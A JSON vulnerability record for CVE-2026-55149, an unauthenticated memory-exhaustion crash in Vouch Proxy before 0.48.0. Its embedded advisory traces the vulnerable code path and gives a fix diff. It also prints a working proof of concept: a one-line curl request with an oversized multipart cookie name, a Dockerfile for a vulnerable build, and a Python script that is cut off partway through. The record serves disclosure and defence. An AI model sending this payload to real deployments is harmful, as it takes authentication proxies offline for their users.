{"id":"CVE-2026-55149","aliases":["EUVD-2026-78827","GHSA-qqff-5854-px68","GO-2026-6260","SUSE-SU-2026:23625-1","openSUSE-SU-2026:21761-1"],"status":"published","title":"Vouch Proxy: Unbounded Multipart Cookie Allocation DoS","description":"Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00718,"percentile":0.54168,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-789"],"published":"2026-08-20T17:26:39Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"Go","package":"github.com/vouch/vouch-proxy","fixed_in":["0.48.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/vouch/vouch-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.47.2"},{"fixed":"0.48.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/vouch/vouch-proxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.48.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/vouch/vouch-proxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.48.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"vouch","product":"vouch-proxy"}],"references":[{"url":"https://github.com/vouch/vouch-proxy/security/advisories/GHSA-qqff-5854-px68","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-qqff-5854-px68"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55149.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55149","tags":["advisory"]},{"url":"https://github.com/vouch/vouch-proxy","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55149","title":"Vouch Proxy: Unbounded Multipart Cookie Allocation DoS","description":"Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.","status":"published","published":"2026-09-15T16:30:37.58Z","modified":"2026-09-17T16:08:18.413Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-78827","description":"Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.","status":"published","published":"2026-09-15T16:30:37Z","modified":"2026-09-17T16:08:18Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:11.273554Z"}],"ghsa":[{"id":"GHSA-qqff-5854-px68","title":"vouch-proxy has an Unbounded Multipart Cookie Allocation DoS","description":"## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of\u003cN\u003e`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123–130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n        return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n    }\n    cookieParts = make([]string, numParts)  // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` — **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n-    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n-    xyArray := strings.Split(xOFy, \"of\")\n+    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+    partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+    if !ok || partStr == \"\" || totalStr == \"\" {\n+        return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+    }\n     if numParts == -1 {\n-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+        if numParts, err = strconv.Atoi(totalStr); err != nil {\n             return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n         }\n+        if numParts \u003c 1 || numParts \u003e maxCookieParts {\n+            return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+        }\n         cookieParts = make([]string, numParts)\n     }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vouch-vuln001 \\\n  repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n  -H 'Host: app.example.com' \\\n  -H 'Cookie: VouchCookie_1of10000000000=x'\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n    /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n    /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n    /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n    /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 — Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of\u003cHUGE\u003e=x\n#   -\u003e cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n#   -\u003e make([]string, \u003cHUGE\u003e) triggers an immediate OOM fatal in the Go runtime\n#   -\u003e Server process crashes; no authentication required\n#\n# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n    go build -v \\\n      -ldflags=\"-s -w \\\n        -X main.version=b683f60 \\\n        -X main.uname=linux \\\n        -X main.builddt=2024-01-01T00:00:00Z \\\n        -X main.host=vuln-poc \\\n        -X main.semver=v0.47.2 \\\n        -X main.branch=main\" \\\n      -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config \u0026\u0026 cat \u003e /config/config.yml \u003c\u003c 'EOF'\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile:   pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of\u003cN\u003e) and calls\n    make([]string, N)\nwith no upper-bound check.  The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n    runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n    IMAGE  = vouch-vuln001\n    PORT   = 9090\n    PARTS  = 10000000000   (10 billion -\u003e ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# ──────────────────────────────────────────────────────────\n# Configuration\n# ──────────────────────────────────────────────────────────\nDEFAULT_IMAGE  = \"vouch-vuln001\"\nDEFAULT_PORT   = 19090        # host port; container always uses 9090 internally\nDEFAULT_PARTS  = 10_000_000_000          # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30                   # seconds to wait for the server to listen\nREADY_POLL_S  = 1.0\n\n\n# ──────────────────────────────────────────────────────────\n# Helpers\n# ──────────────────────────────────────────────────────────\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n    print(f\"[cmd] {' '.join(cmd)}\")\n    return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -\u003e None:\n    \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n    subprocess.run(\n        [\"docker\", \"rm\", \"-f\", name],\n        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n    )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -\u003e bool:\n    \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            conn = http.client.HTTPConnection(host, port, timeout=2)\n            conn.request(\"GET\", \"/validate\")\n            resp = conn.getresponse()\n            # Any HTTP response means the server is up.\n            print(f\"[ready] server responded: HTTP {resp.status}\")\n            conn.close()\n            return True\n        except OSError:\n            